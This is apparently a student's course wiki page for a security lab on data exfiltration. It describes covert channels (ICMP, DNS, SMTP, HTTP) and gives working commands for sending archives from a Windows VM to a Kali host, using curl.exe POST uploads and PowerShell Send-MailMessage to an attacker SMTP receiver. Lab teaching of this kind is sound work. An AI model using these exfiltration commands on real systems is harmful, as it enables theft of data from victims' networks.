Week 4 ‐ Staging and Exfiltration (Task 4) - sophialevasseur/SEC-335 GitHub Wiki

Main Doc😱

🌹Background🌹

Standard exfiltration over HTTP or Meterpreter's download channel can be detected by monitoring outbound connections to unusual ports or IPs. Non-standard protocol exfiltration hides data in traffic that firewalls and IDS systems typically allow.

Common Non-Standard Exfiltration Methods:

Protocol How It Works Detection Difficulty
ICMP Data is encoded in the payload field of ping packets. Tools like ptunnel or icmpsh tunnel TCP traffic over ICMP. High - many firewalls allow
DNS Data is encoded in DNS queries (subdomain labels) or responses. Tools like dnscat2 or iodine create tunnels over DNS. Medium - requires DNS traffic inspection to detect
SMTP Data is sent as email attachments or embedded in email bodies. Low-Medium - email filtering may catch this
HTTP/HTTPS Data is hidden in HTTP headers, cookies, or POST bodies to look like normal web traffic. Low - but harder to distinguish from legitimate web traffic

🌲Your Task🌲

1. Research two non-standard exfiltration methods (choose from ICMP, DNS, SMTP, or others)
2. Set up the tools on your C2 server - the tools may already be on Kali like dnscat2
3. Exfiltrate one of your archives from the Windows VM to your Kali server using each method
4. Decompress the exfiltrated archive and verify the contents are readable by showing the contents of 1 file

🌹DNS Troubleshooting🌹

🌹HTTP🌹

⚡How do attackers use HTTP data exfiltration?⚡

  • Attackers use HTTP data exfiltration to steal sensitive information from a compromised network by hiding stolen data inside standard, everyday web traffic.

⚡Kali⚡

  • sudo apt update && sudo apt install pipx -y
  • pipx install uploadserver
  • cd ~/Desktop
  • uploadserver 8080

⚡Windows⚡

  • curl.exe -X POST http://10.0.17.41:8080/upload -F "files=@C:\temp\archives\enum_out.tar.gz"
  • curl.exe -X POST http://10.0.17.41:8080/upload -F "files=@C:\temp\archives\enum_out_7z.zip"
  • curl.exe -X POST http://10.0.17.41:8080/upload -F "files=@C:\temp\archives\enum_out_pscompress.zip"
  • curl.exe -X POST http://10.0.17.39:8080/upload -F "files=@C:\temp\archives\enum_output.cab"

⚡Kali⚡

  • Make sure that the files are readable:

🌹SMTP🌹

⚡How do attackers use SMTP data exfiltration?⚡

  • Attackers use Simple Mail Transfer Protocol AKA SMTP data exfiltration by packaging stolen files, keystrokes, or credentials into outgoing emails and sending them to an external, attacker-controlled inbox.

⚡Kali⚡

  1. Install the SMTP server onto your system:
    • sudo apt update
    • sudo apt install python3-aiosmtpd -y
  1. Paste the receiver script:
  1. Run the receiver script:
    • python3 /home/champuser/smtp_receiver.py

⚡Windows⚡

  1. Send the attatchments as a ps1 file using PowerShell Send-MailMessage software:
    • Send-MailMessage -From "[email protected]" -To "[email protected]" -Subject "Exfiltrated Archives" -Body "All files attached" -Attachments "C:\temp\archives\enum_out.tar.gz","C:\temp\archives\enum_out_7z.zip","C:\temp\archives\enum_out_pscompress.zip","C:\temp\archives\enum_out.cab" -SmtpServer 10.0.17.49 -Port 25

Resources: